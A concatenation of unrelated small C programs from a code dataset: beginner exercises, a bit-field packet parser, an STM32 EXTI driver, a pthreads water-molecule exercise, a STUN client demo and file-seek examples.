void SortStrings(char** s, int n) // Function to sort the strings
{
int i,j;
for (i = 0;i<n-1;i++) // Sorting using bubble sort
for (j=0;j<n-i-1;j++)
if (strcmp(s[j],s[j + 1]) > 0)
{
char* temp;
temp = (char*)calloc(30, sizeof(char));
strcpy(temp, s[j]);
strcpy(s[j],s[j+1]);
strcpy(s[j+1], temp);
free(temp);
}
}
int main()
{
char** s;
int n, i;
printf("Enter the number of names to be printed:");
scanf("%d\n", &n);
s = (char**)calloc(n, sizeof(char*));
for (i = 0; i < n; i++)
{
s[i] = (char*)calloc(30, sizeof(char));
scanf("%s", s[i]);
}
SortStrings(s, n);
printf("\nArray after sorting:\n");
for (i = 0; i < n; i++)
printf("%s\n",s[i]);
free(s);
return 0;
}
|
the_stack_data/113311.c | #include <stdio.h>
#include <stdlib.h>
int main() {
float sal, novosal;
printf("Digite o valor do salario:");
scanf("%f", &sal);
novosal = sal + (sal * 25/100);
printf("%f",novosal);
getch();
return 0; //
} |
the_stack_data/134457.c | #include <stdio.h>
#include <stdlib.h>
struct point { int x, y; };
struct rectangle { struct point upper_left, lower_right; };
int main(void)
{
struct rectangle *p;
p = malloc(sizeof(*p));
if(p == NULL)
{
printf("Unable to allocate memory\n");
exit(EXIT_FAILURE);
}
p->upper_left.x = 10;
p->upper_left.y = 25;
p->lower_right.x = 20;
p->lower_right.y = 15;
printf("(%d, %d) (%d, %d)\n",
p->upper_left.x,
p->upper_left.y,
p->lower_right.x,
p->lower_right.y);
return 0;
}
|
the_stack_data/182953696.c | /*-
* Copyright (c) 1980, 1993
* The Regents of the University of California. All rights reserved.
*
* %sccs.include.proprietary.c%
*/
#if defined(LIBC_SCCS) && !defined(lint)
static char sccsid[] = "@(#)tell.c 8.1 (Berkeley) 06/04/93";
#endif /* LIBC_SCCS and not lint */
/*
* return offset in file.
*/
long lseek();
long tell(f)
{
return(lseek(f, 0L, 1));
}
|
the_stack_data/625198.c | /*
============================================================================
Name : aula1.c
Author : Abrantes Araújo Silva Filho
Version :
Copyright :
Description : MIT OCW: Practical Programming in C
Lecture 1
Primeiro programa em C: Hello World!
============================================================================
*/
/* Includes: */
#include <stdio.h>
#include <stdlib.h>
int main(void) {
/* Array de caracteres: */
const char msg[] = "Hello, World!!!!";
/* Imprime no console */
puts(msg);
/* Retorna: */
return EXIT_SUCCESS;
}
|
the_stack_data/22322.c |
#include<stdint.h>
#include<stdio.h>
/*
* This structure we used to store various fields of the packet in to variables
* The variable of this structure consumes 4 bytes in the memory
*/
struct Packet
{
uint32_t crc :2;
uint32_t status :1;
uint32_t payload :12;
uint32_t bat :3;
uint32_t sensor :3;
uint32_t longAddr :8;
uint32_t shortAddr :2;
uint32_t addrMode :1;
};
int main(void)
{
uint32_t packetValue ;
printf("Enter the 32bit packet value:");
scanf("%X",&packetValue);
struct Packet packet;
packet.crc = (uint8_t) (packetValue & 0x3);
packet.status = (uint8_t) ( (packetValue >> 2) & 0x1 );
packet.payload = (uint16_t) ( (packetValue >> 3) & 0xFFF );
packet.bat = (uint8_t) ( (packetValue >> 15) & 0x7 );
packet.sensor = (uint8_t) ( (packetValue >> 18) & 0x7 );
packet.longAddr = (uint8_t) ( (packetValue >> 21) & 0xFF );
packet.shortAddr = (uint8_t) ( (packetValue >> 29) & 0x3 );
packet.addrMode = (uint8_t) ( (packetValue >> 31) & 0x1 );
printf("crc :%#x\n",packet.crc);
printf("status :%#x\n",packet.status);
printf("payload :%#x\n",packet.payload);
printf("bat :%#x\n",packet.bat);
printf("sensor :%#x\n",packet.sensor);
printf("longAddr :%#x\n",packet.longAddr);
printf("shortAddr:%#x\n",packet.shortAddr);
printf("addrMode :%#x\n",packet.addrMode);
printf("Size of struct is %I64u\n",sizeof(packet));
while(getchar() != '\n');
getchar();
return 0;
}
|
the_stack_data/198581765.c | /**
******************************************************************************
* @file stm32f7xx_ll_exti.c
* @author MCD Application Team
* @brief EXTI LL module driver.
******************************************************************************
* @attention
*
* <h2><center>© COPYRIGHT(c) 2017 STMicroelectronics</center></h2>
*
* Redistribution and use in source and binary forms, with or without modification,
* are permitted provided that the following conditions are met:
* 1. Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright notice,
* this list of conditions and the following disclaimer in the documentation
* and/or other materials provided with the distribution.
* 3. Neither the name of STMicroelectronics nor the names of its contributors
* may be used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
* DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
* SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
* CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
* OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*
******************************************************************************
*/
#if defined(USE_FULL_LL_DRIVER)
/* Includes ------------------------------------------------------------------*/
#include "stm32f7xx_ll_exti.h"
#ifdef USE_FULL_ASSERT
#include "stm32_assert.h"
#else
#define assert_param(expr) ((void)0U)
#endif
/** @addtogroup STM32F7xx_LL_Driver
* @{
*/
#if defined (EXTI)
/** @defgroup EXTI_LL EXTI
* @{
*/
/* Private types -------------------------------------------------------------*/
/* Private variables ---------------------------------------------------------*/
/* Private constants ---------------------------------------------------------*/
/* Private macros ------------------------------------------------------------*/
/** @addtogroup EXTI_LL_Private_Macros
* @{
*/
#define IS_LL_EXTI_LINE_0_31(__VALUE__) (((__VALUE__) & ~LL_EXTI_LINE_ALL_0_31) == 0x00000000U)
#define IS_LL_EXTI_MODE(__VALUE__) (((__VALUE__) == LL_EXTI_MODE_IT) \
|| ((__VALUE__) == LL_EXTI_MODE_EVENT) \
|| ((__VALUE__) == LL_EXTI_MODE_IT_EVENT))
#define IS_LL_EXTI_TRIGGER(__VALUE__) (((__VALUE__) == LL_EXTI_TRIGGER_NONE) \
|| ((__VALUE__) == LL_EXTI_TRIGGER_RISING) \
|| ((__VALUE__) == LL_EXTI_TRIGGER_FALLING) \
|| ((__VALUE__) == LL_EXTI_TRIGGER_RISING_FALLING))
/**
* @}
*/
/* Private function prototypes -----------------------------------------------*/
/* Exported functions --------------------------------------------------------*/
/** @addtogroup EXTI_LL_Exported_Functions
* @{
*/
/** @addtogroup EXTI_LL_EF_Init
* @{
*/
/**
* @brief De-initialize the EXTI registers to their default reset values.
* @retval An ErrorStatus enumeration value:
* - SUCCESS: EXTI registers are de-initialized
* - ERROR: not applicable
*/
uint32_t LL_EXTI_DeInit(void)
{
/* Interrupt mask register set to default reset values */
LL_EXTI_WriteReg(IMR, 0x00000000U);
/* Event mask register set to default reset values */
LL_EXTI_WriteReg(EMR, 0x00000000U);
/* Rising Trigger selection register set to default reset values */
LL_EXTI_WriteReg(RTSR, 0x00000000U);
/* Falling Trigger selection register set to default reset values */
LL_EXTI_WriteReg(FTSR, 0x00000000U);
/* Software interrupt event register set to default reset values */
LL_EXTI_WriteReg(SWIER, 0x00000000U);
/* Pending register set to default reset values */
LL_EXTI_WriteReg(PR, 0x01FFFFFFU);
return SUCCESS;
}
/**
* @brief Initialize the EXTI registers according to the specified parameters in EXTI_InitStruct.
* @param EXTI_InitStruct pointer to a @ref LL_EXTI_InitTypeDef structure.
* @retval An ErrorStatus enumeration value:
* - SUCCESS: EXTI registers are initialized
* - ERROR: not applicable
*/
uint32_t LL_EXTI_Init(LL_EXTI_InitTypeDef *EXTI_InitStruct)
{
ErrorStatus status = SUCCESS;
/* Check the parameters */
assert_param(IS_LL_EXTI_LINE_0_31(EXTI_InitStruct->Line_0_31));
assert_param(IS_FUNCTIONAL_STATE(EXTI_InitStruct->LineCommand));
assert_param(IS_LL_EXTI_MODE(EXTI_InitStruct->Mode));
/* ENABLE LineCommand */
if (EXTI_InitStruct->LineCommand != DISABLE)
{
assert_param(IS_LL_EXTI_TRIGGER(EXTI_InitStruct->Trigger));
/* Configure EXTI Lines in range from 0 to 31 */
if (EXTI_InitStruct->Line_0_31 != LL_EXTI_LINE_NONE)
{
switch (EXTI_InitStruct->Mode)
{
case LL_EXTI_MODE_IT:
/* First Disable Event on provided Lines */
LL_EXTI_DisableEvent_0_31(EXTI_InitStruct->Line_0_31);
/* Then Enable IT on provided Lines */
LL_EXTI_EnableIT_0_31(EXTI_InitStruct->Line_0_31);
break;
case LL_EXTI_MODE_EVENT:
/* First Disable IT on provided Lines */
LL_EXTI_DisableIT_0_31(EXTI_InitStruct->Line_0_31);
/* Then Enable Event on provided Lines */
LL_EXTI_EnableEvent_0_31(EXTI_InitStruct->Line_0_31);
break;
case LL_EXTI_MODE_IT_EVENT:
/* Directly Enable IT & Event on provided Lines */
LL_EXTI_EnableIT_0_31(EXTI_InitStruct->Line_0_31);
LL_EXTI_EnableEvent_0_31(EXTI_InitStruct->Line_0_31);
break;
default:
status = ERROR;
break;
}
if (EXTI_InitStruct->Trigger != LL_EXTI_TRIGGER_NONE)
{
switch (EXTI_InitStruct->Trigger)
{
case LL_EXTI_TRIGGER_RISING:
/* First Disable Falling Trigger on provided Lines */
LL_EXTI_DisableFallingTrig_0_31(EXTI_InitStruct->Line_0_31);
/* Then Enable Rising Trigger on provided Lines */
LL_EXTI_EnableRisingTrig_0_31(EXTI_InitStruct->Line_0_31);
break;
case LL_EXTI_TRIGGER_FALLING:
/* First Disable Rising Trigger on provided Lines */
LL_EXTI_DisableRisingTrig_0_31(EXTI_InitStruct->Line_0_31);
/* Then Enable Falling Trigger on provided Lines */
LL_EXTI_EnableFallingTrig_0_31(EXTI_InitStruct->Line_0_31);
break;
case LL_EXTI_TRIGGER_RISING_FALLING:
LL_EXTI_EnableRisingTrig_0_31(EXTI_InitStruct->Line_0_31);
LL_EXTI_EnableFallingTrig_0_31(EXTI_InitStruct->Line_0_31);
break;
default:
status = ERROR;
break;
}
}
}
}
/* DISABLE LineCommand */
else
{
/* De-configure EXTI Lines in range from 0 to 31 */
LL_EXTI_DisableIT_0_31(EXTI_InitStruct->Line_0_31);
LL_EXTI_DisableEvent_0_31(EXTI_InitStruct->Line_0_31);
}
return status;
}
/**
* @brief Set each @ref LL_EXTI_InitTypeDef field to default value.
* @param EXTI_InitStruct Pointer to a @ref LL_EXTI_InitTypeDef structure.
* @retval None
*/
void LL_EXTI_StructInit(LL_EXTI_InitTypeDef *EXTI_InitStruct)
{
EXTI_InitStruct->Line_0_31 = LL_EXTI_LINE_NONE;
EXTI_InitStruct->LineCommand = DISABLE;
EXTI_InitStruct->Mode = LL_EXTI_MODE_IT;
EXTI_InitStruct->Trigger = LL_EXTI_TRIGGER_FALLING;
}
/**
* @}
*/
/**
* @}
*/
/**
* @}
*/
#endif /* defined (EXTI) */
/**
* @}
*/
#endif /* USE_FULL_LL_DRIVER */
/************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/
|
the_stack_data/603556.c | int swi120(int c)
{
int i;
for (i=0; i<120; i=i+1) {
switch (i) {
case 0: c=c+1; break;
case 1: c=c+1; break;
case 2: c=c+1; break;
case 3: c=c+1; break;
case 4: c=c+1; break;
case 5: c=c+1; break;
case 6: c=c+1; break;
case 7: c=c+1; break;
case 8: c=c+1; break;
case 9: c=c+1; break;
case 10: c=c+1; break;
case 11: c=c+1; break;
case 12: c=c+1; break;
case 13: c=c+1; break;
case 14: c=c+1; break;
case 15: c=c+1; break;
case 16: c=c+1; break;
case 17: c=c+1; break;
case 18: c=c+1; break;
case 19: c=c+1; break;
case 20: c=c+1; break;
case 21: c=c+1; break;
case 22: c=c+1; break;
case 23: c=c+1; break;
case 24: c=c+1; break;
case 25: c=c+1; break;
case 26: c=c+1; break;
case 27: c=c+1; break;
case 28: c=c+1; break;
case 29: c=c+1; break;
case 30: c=c+1; break;
case 31: c=c+1; break;
case 32: c=c+1; break;
case 33: c=c+1; break;
case 34: c=c+1; break;
case 35: c=c+1; break;
case 36: c=c+1; break;
case 37: c=c+1; break;
case 38: c=c+1; break;
case 39: c=c+1; break;
case 40: c=c+1; break;
case 41: c=c+1; break;
case 42: c=c+1; break;
case 43: c=c+1; break;
case 44: c=c+1; break;
case 45: c=c+1; break;
case 46: c=c+1; break;
case 47: c=c+1; break;
case 48: c=c+1; break;
case 49: c=c+1; break;
case 50: c=c+1; break;
case 51: c=c+1; break;
case 52: c=c+1; break;
case 53: c=c+1; break;
case 54: c=c+1; break;
case 55: c=c+1; break;
case 56: c=c+1; break;
case 57: c=c+1; break;
case 58: c=c+1; break;
case 59: c=c+1; break;
case 60: c=c+1; break;
case 61: c=c+1; break;
case 62: c=c+1; break;
case 63: c=c+1; break;
case 64: c=c+1; break;
case 65: c=c+1; break;
case 66: c=c+1; break;
case 67: c=c+1; break;
case 68: c=c+1; break;
case 69: c=c+1; break;
case 70: c=c+1; break;
case 71: c=c+1; break;
case 72: c=c+1; break;
case 73: c=c+1; break;
case 74: c=c+1; break;
case 75: c=c+1; break;
case 76: c=c+1; break;
case 77: c=c+1; break;
case 78: c=c+1; break;
case 79: c=c+1; break;
case 80: c=c+1; break;
case 81: c=c+1; break;
case 82: c=c+1; break;
case 83: c=c+1; break;
case 84: c=c+1; break;
case 85: c=c+1; break;
case 86: c=c+1; break;
case 87: c=c+1; break;
case 88: c=c+1; break;
case 89: c=c+1; break;
case 90: c=c+1; break;
case 91: c=c+1; break;
case 92: c=c+1; break;
case 93: c=c+1; break;
case 94: c=c+1; break;
case 95: c=c+1; break;
case 96: c=c+1; break;
case 97: c=c+1; break;
case 98: c=c+1; break;
case 99: c=c+1; break;
case 100: c=c+1; break;
case 101: c=c+1; break;
case 102: c=c+1; break;
case 103: c=c+1; break;
case 104: c=c+1; break;
case 105: c=c+1; break;
case 106: c=c+1; break;
case 107: c=c+1; break;
case 108: c=c+1; break;
case 109: c=c+1; break;
case 110: c=c+1; break;
case 111: c=c+1; break;
case 112: c=c+1; break;
case 113: c=c+1; break;
case 114: c=c+1; break;
case 115: c=c+1; break;
case 116: c=c+1; break;
case 117: c=c+1; break;
case 118: c=c+1; break;
case 119: c=c+1; break;
default: c=c-1; break;
}
}
return c;
}
int swi50(int c)
{
int i;
for (i=0; i<50; i=i+1) {
switch (i) {
case 0: c=c+1; break;
case 1: c=c+1; break;
case 2: c=c+1; break;
case 3: c=c+1; break;
case 4: c=c+1; break;
case 5: c=c+1; break;
case 6: c=c+1; break;
case 7: c=c+1; break;
case 8: c=c+1; break;
case 9: c=c+1; break;
case 10: c=c+1; break;
case 11: c=c+1; break;
case 12: c=c+1; break;
case 13: c=c+1; break;
case 14: c=c+1; break;
case 15: c=c+1; break;
case 16: c=c+1; break;
case 17: c=c+1; break;
case 18: c=c+1; break;
case 19: c=c+1; break;
case 20: c=c+1; break;
case 21: c=c+1; break;
case 22: c=c+1; break;
case 23: c=c+1; break;
case 24: c=c+1; break;
case 25: c=c+1; break;
case 26: c=c+1; break;
case 27: c=c+1; break;
case 28: c=c+1; break;
case 29: c=c+1; break;
case 30: c=c+1; break;
case 31: c=c+1; break;
case 32: c=c+1; break;
case 33: c=c+1; break;
case 34: c=c+1; break;
case 35: c=c+1; break;
case 36: c=c+1; break;
case 37: c=c+1; break;
case 38: c=c+1; break;
case 39: c=c+1; break;
case 40: c=c+1; break;
case 41: c=c+1; break;
case 42: c=c+1; break;
case 43: c=c+1; break;
case 44: c=c+1; break;
case 45: c=c+1; break;
case 46: c=c+1; break;
case 47: c=c+1; break;
case 48: c=c+1; break;
case 49: c=c+1; break;
case 50: c=c+1; break;
case 51: c=c+1; break;
case 52: c=c+1; break;
case 53: c=c+1; break;
case 54: c=c+1; break;
case 55: c=c+1; break;
case 56: c=c+1; break;
case 57: c=c+1; break;
case 58: c=c+1; break;
case 59: c=c+1; break;
default: c=c-1; break;
}
}
return c;
}
int swi10(int c)
{
int i;
for (i=0; i<10; i=i+1) {
switch (i) {
case 0: c=c+1; break;
case 1: c=c+1; break;
case 2: c=c+1; break;
case 3: c=c+1; break;
case 4: c=c+1; break;
case 5: c=c+1; break;
case 6: c=c+1; break;
case 7: c=c+1; break;
case 8: c=c+1; break;
case 9: c=c+1; break;
default: c=c-1; break;
}
}
return c;
}
int main()
{
volatile int cnt=0;
cnt=swi10(cnt);
cnt=swi50(cnt);
cnt=swi120(cnt);
/* printf("cnt: %d\n", cnt); */
return cnt;
}
|
the_stack_data/1052521.c | #include<stdio.h>
main()
{
float c;
c=9.01883936;
printf("%.2f",c);
getch ();
}
|
the_stack_data/705535.c | #include <stdio.h>
#include <stdlib.h>
#include <pthread.h>
#include <unistd.h>
pthread_mutex_t hMutex = PTHREAD_MUTEX_INITIALIZER;
pthread_mutex_t h2Mutex = PTHREAD_MUTEX_INITIALIZER;
pthread_mutex_t oMutex = PTHREAD_MUTEX_INITIALIZER;
pthread_cond_t conditionHydrogen = PTHREAD_COND_INITIALIZER;
pthread_cond_t conditionH2ydrogen = PTHREAD_COND_INITIALIZER;
pthread_cond_t conditionOxygen = PTHREAD_COND_INITIALIZER;
int currentHydrogenAtoms = 0;
int currentOxygenAtoms = 0;
int moleculesCreated = 0;
char hydrogenUsed = 0;
char oxygenUsed = 0;
void *addHydrogen(void *args) {
pthread_mutex_lock(&hMutex);
printf("ADDING one atom of HYDROGEN - (ID: %lu)\n", pthread_self());
currentHydrogenAtoms++;
pthread_cond_signal(&conditionH2ydrogen);
pthread_cond_signal(&conditionHydrogen);
while(currentOxygenAtoms < 1) {
pthread_cond_wait(&conditionOxygen, &hMutex);
}
pthread_mutex_unlock(&hMutex);
pthread_mutex_lock(&h2Mutex);
while(currentHydrogenAtoms < 2) {
pthread_cond_wait(&conditionH2ydrogen, &h2Mutex);
}
//Create new molecule
hydrogenUsed++;
printf("USING one atom of HYDROGEN - (ID: %lu)\n", pthread_self());
if (hydrogenUsed == 2 && oxygenUsed == 1) {
hydrogenUsed = oxygenUsed = 0;
currentHydrogenAtoms -= 2;
currentOxygenAtoms--;
moleculesCreated++;
printf("MOLECULE OF WATER CREATED #%d\n", moleculesCreated);
}
pthread_mutex_unlock(&h2Mutex);
}
void *addOxygen(void *args) {
pthread_mutex_lock(&oMutex);
printf("ADDING one atom of OXYGEN - (ID: %lu)\n", pthread_self());
currentOxygenAtoms++;
pthread_cond_signal(&conditionOxygen);
while(currentHydrogenAtoms < 2) {
pthread_cond_wait(&conditionHydrogen, &oMutex);
}
//Creating new molecule
printf("USING one atom of OXYGEN - (ID: %lu)\n", pthread_self());
oxygenUsed++;
if (hydrogenUsed == 2 && oxygenUsed == 1) {
hydrogenUsed = oxygenUsed = 0;
currentHydrogenAtoms -= 2;
currentOxygenAtoms--;
moleculesCreated++;
printf("MOLECULE OF WATER CREATED #%d\n", moleculesCreated);
}
pthread_mutex_unlock(&oMutex);
}
int main() {
int numberOfMolecules = 0;
printf("Indique el numero de moleculas H20 a crear: ");
scanf("%d", &numberOfMolecules);
int nOfThreads = (numberOfMolecules * 2) + numberOfMolecules;
int hCreated = 0;
int oCreated = 0;
pthread_t allThreads[nOfThreads];
pthread_mutex_init( &hMutex, NULL );
pthread_mutex_init( &oMutex, NULL );
for (int i = 0; i < nOfThreads; ++i) {
if (hCreated < (numberOfMolecules * 2) && oCreated < numberOfMolecules) {
if ((rand() % 100) >= 50) {
//Create Oxygen
pthread_create(&allThreads[i], NULL, addOxygen, NULL);
oCreated++;
} else {
//Create Hydrogen
pthread_create(&allThreads[i], NULL, addHydrogen, NULL);
hCreated++;
}
} else if (hCreated < (numberOfMolecules * 2)) {
pthread_create(&allThreads[i], NULL, addHydrogen, NULL);
hCreated++;
} else if (oCreated < numberOfMolecules) {
pthread_create(&allThreads[i], NULL, addOxygen, NULL);
oCreated++;
}
sleep(1);
}
for (int i = 0; i < nOfThreads; i++) {
pthread_join(allThreads[i],NULL);
}
return 0;
}
|
the_stack_data/90763013.c | #include <stdio.h>
#ifdef _WIN64
#define __EXT __declspec(dllexport)
#elif _WIN32
#define __EXT __declspec(dllexport)
#else
#define __EXT extern
#endif
static void (*callback)(int value) = NULL;
__EXT const char *rs_str(void) {
return "Hello World";
}
__EXT int rs_trigger(int val) {
printf("Trigger called\n");
if (val == 1) {
printf("Invoking callback\n");
if (callback != NULL) {
(*callback)(100);
}
else {
printf("No callback bound\n");
}
}
else {
printf("Nope\n");
}
return val + 100;
}
__EXT void rs_register(void *cb) {
printf("Register called\n");
callback = cb;
}
|
the_stack_data/45976.c | #include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#define MAXLINE 200
/*
*
* STUN(RFC5389) client demo by Chris <nodexy@gmail>
*
* Test by turnserver-0.6 from http://turnserver.sourceforge.net
*
* @ 2012-2-27 AT Shenzhen, China
* @ 2012-2-29 version 0.1
*/
int stun_xor_addr(char * stun_server_ip,short stun_server_port,short local_port,char * return_ip_port);
int main(int argc, char *argv[])
{
if (argc != 4) {
printf("STUN(RFC5389) client demo by Chris <nodexy@gmail>\n");
printf("usage: %s <server_ip> <server_port> <local_port>\n\n", argv[0]);
exit(1);
}
printf("Main start ... \n");
int n = 0;
char return_ip_port[50];
n = stun_xor_addr(argv[1],atoi(argv[2]),atoi(argv[3]),return_ip_port);
if (n!=0)
printf("STUN req error : %d\n",n);
else
printf("ip:port = %s\n",return_ip_port);
printf("Main over.\n");
}
int stun_xor_addr(char * stun_server_ip,short stun_server_port,short local_port,char * return_ip_port)
{
struct sockaddr_in servaddr;
struct sockaddr_in localaddr;
unsigned char buf[MAXLINE];
int sockfd, i;
unsigned char bindingReq[20];
int stun_method,msg_length;
short attr_type;
short attr_length;
short port;
short n;
//# create socket
sockfd = socket(AF_INET, SOCK_DGRAM, 0); // UDP
// server
bzero(&servaddr, sizeof(servaddr));
servaddr.sin_family = AF_INET;
inet_pton(AF_INET, stun_server_ip, &servaddr.sin_addr);
servaddr.sin_port = htons(stun_server_port);
// local
bzero(&localaddr, sizeof(localaddr));
localaddr.sin_family = AF_INET;
//inet_pton(AF_INET, "192.168.0.181", &localaddr.sin_addr);
localaddr.sin_port = htons(local_port);
n = bind(sockfd,(struct sockaddr *)&localaddr,sizeof(localaddr));
//printf("bind result=%d\n",n);
printf("socket opened to %s:%d at local port %d\n",stun_server_ip,stun_server_port,local_port);
//## first bind
* (short *)(&bindingReq[0]) = htons(0x0001); // stun_method
* (short *)(&bindingReq[2]) = htons(0x0000); // msg_length
* (int *)(&bindingReq[4]) = htonl(0x2112A442);// magic cookie
*(int *)(&bindingReq[8]) = htonl(0x63c7117e); // transacation ID
*(int *)(&bindingReq[12])= htonl(0x0714278f);
*(int *)(&bindingReq[16])= htonl(0x5ded3221);
printf("Send data ...\n");
n = sendto(sockfd, bindingReq, sizeof(bindingReq),0,(struct sockaddr *)&servaddr, sizeof(servaddr)); // send UDP
if (n == -1)
{
printf("sendto error\n");
return -1;
}
// time wait
sleep(1);
printf("Read recv ...\n");
n = recvfrom(sockfd, buf, MAXLINE, 0, NULL,0); // recv UDP
if (n == -1)
{
printf("recvfrom error\n");
return -2;
}
//printf("Response from server:\n");
//write(STDOUT_FILENO, buf, n);
if (*(short *)(&buf[0]) == htons(0x0101))
{
printf("STUN binding resp: success !\n");
// parse XOR
n = htons(*(short *)(&buf[2]));
i = 20;
while(i<sizeof(buf))
{
attr_type = htons(*(short *)(&buf[i]));
attr_length = htons(*(short *)(&buf[i+2]));
if (attr_type == 0x0020)
{
// parse : port, IP
port = ntohs(*(short *)(&buf[i+6]));
port ^= 0x2112;
/*printf("@port = %d\n",(unsigned short)port);
printf("@ip = %d.",buf[i+8] ^ 0x21);
printf("%d.",buf[i+9] ^ 0x12);
printf("%d.",buf[i+10] ^ 0xA4);
printf("%d\n",buf[i+11] ^ 0x42);
*/
sprintf(return_ip_port,"%d.%d.%d.%d:%d",buf[i+8]^0x21,buf[i+9]^0x12,buf[i+10]^0xA4,buf[i+11]^0x42,port);
break;
}
i += (4 + attr_length);
}
}
// TODO: bind again
close(sockfd);
printf("socket closed !\n");
return 0;
}
|
the_stack_data/64199370.c |
#include<stdio.h>
#include<sys/sem.h>
main()
{
int q,y=0,i=-1,count,j=0;
printf("Give semaphore no");
scanf("%d",&q);
count=semctl(q,0,GETVAL,0);
y=count;
printf("Hurray!,Got the count:%d\n",count);
do
{
i=y;
do
{
y=semctl(q,0,GETVAL,0);
}while(i==y);
printf("output:%d\n",y);
j+=1;
}while(j<count);
}
|
the_stack_data/162643685.c | /*****************************************************************************
* Name: fseek.c
*
* Summary: Move to a specific location in a file.
*
* Adapted: Tue 08 Oct 2002 15:10:17 (Bob Heckel -- Using C on the Unix
* System)
*****************************************************************************
*/
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
struct record {
int uid;
char login[9]; /* logins are always max of 8 characters */
};
int putrec(FILE *fp, int i, struct record *r);
char *logins[] = { "user1", "user2", "user3", "user4" };
int main(void) {
int i;
FILE *fp;
struct record rec;
char the_file[80];
sprintf(the_file, "%s/%s", getenv("HOME"), "junkfseek.txt");
///if ( (fp = fopen("/home/bheckel/tmp/testing/junkfsek.txt", "w")) == NULL ) {
if ( (fp = fopen(the_file, "w")) == NULL ) {
perror(the_file);
exit(1);
}
for ( i=3; i>=0; i-- ) {
rec.uid = i;
strcpy(rec.login, logins[i]);
putrec(fp, i, &rec);
}
fclose(fp);
return 0;
}
int putrec(FILE *fp, int i, struct record *r) {
printf("user %d: before fseek:\t %ld ", i+1, ftell(fp));
///fseek(fp, (long) 4 * sizeof(struct record), 2);
fseek(fp, (long) 4 * sizeof(struct record), SEEK_END);
printf("before fwrite:\t %ld ", ftell(fp));
fwrite((char *) r, sizeof(struct record), 1, fp);
printf("after fwrite:\t %ld\n", ftell(fp));
return 0;
}
|
the_stack_data/107952887.c | #include <stdio.h>
int main()
{
char a[] = {'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};
for (int i = 0; i < 26; i++)
printf("%c, ", a[i]);
} |
Subsets and Splits